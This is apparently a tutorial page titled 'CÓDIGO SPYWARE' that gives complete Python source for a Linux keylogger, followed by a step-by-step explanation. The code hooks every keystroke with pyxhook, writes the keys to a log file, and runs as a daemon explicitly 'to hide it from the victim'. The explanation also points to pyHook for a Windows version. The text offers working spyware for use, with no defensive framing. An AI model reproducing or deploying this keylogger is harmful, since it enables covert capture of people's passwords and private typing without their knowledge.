CÓDIGO SPYWARE:

#!/usr/bin/env python3

""" Implementation of simple keylogger in Python.

"""

import daemon

import logging

import pyxhook

class Keylogger:

    """ This class represents the code injecting malware. """

    def \_\_init\_\_(self, name):

        self.\_name = name

    @property

    def name(self):

        """ Name of the malware. """

        return self.\_name

    @name.setter

    def name(self, new\_name):

        self.\_name = new\_name

    def start\_logging(self):

        """ Log every keystroke of the user into log file. """

        # Crete hook manager.

        hook\_manager = pyxhook.HookManager()

        # Assign callback for handling key strokes.

        hook\_manager.KeyDown = self.\_keydown\_callback

        # Hook the keyboard and start logging.

        hook\_manager.HookKeyboard()

        hook\_manager.start()

    def \_keydown\_callback(self, key):

        """ This function is handler of key stroke event. """

        logging.debug(chr(key.Ascii))

if \_\_name\_\_ == '\_\_main\_\_':

    # Setup logger.

    logging.basicConfig(

        level=logging.DEBUG,

        filename='activity.log',

        format='Key: %(message)s',

    )

    # Get file handler. We need to pass it to our daemon.

    handler = logging.getLogger().handlers[0].stream

    # Daemonize the process to hide it from the victim.

    with daemon.DaemonContext(files\_preserve=[handler]):

        # Create keylogger.

        keylogger = Keylogger('SimpleSpyware')

        # Start logging activity of the user.

        keylogger.start\_logging()

**How does it work?**

* Firstly, we configure our logger. We can specify the file in which should be the data stored as well as a format of the message.
* logging.basicConfig(
* level=logging.DEBUG,
* filename='activity.log',
* format='Key: %(message)s',

)

* Then we have to obtain the logging file handler. We will explain why in the next step.

handler = logging.getLogger().handlers[0].stream

* To make our spyware harder to spot by the victim, we want it to run in the background as a **daemon**. To learn more about daemons, see [the guide to daemons](https://kb.iu.edu/d/aiau). For this purpose we will use a standart Python module daemon that will allow us to daemonize our **keylogger**. When the the daemon is created, we will loose connections to all file handler like stdout or even our logging file unless we specify that the files should be preserved. That's why we have obtained logging file handler in the previous step. In the context of our hidden daemon we can now create the keylogger and start its activity.
* # Daemonize the process to hide it from the victim.
* with daemon.DaemonContext(files\_preserve=[handler]):
* # Create keylogger.
* keylogger = Keylogger('SimpleSpyware')
* # Start logging activity of the user.

keylogger.start\_logging()

* For obtaining the *key press events* we can use a python module for Linux called pyxhook. If we would create a keylogger for Windows, we should use module pyHook instead, but their interface is very similar. We create a **hooking manager**, that will manage event handling and allows us to set a callback for those events. Callback is in our case a function that will be called each time a new event is obtained (\_*keydown\_callback*). The only thing this method does is logging the key into our specified file activity.log.
* hook\_manager = pyxhook.HookManager()
* # Assign callback for handling key strokes.
* hook\_manager.KeyDown = self.\_keydown\_callback
* # Hook the keyboard and start logging.
* hook\_manager.HookKeyboard()

hook\_manager.start()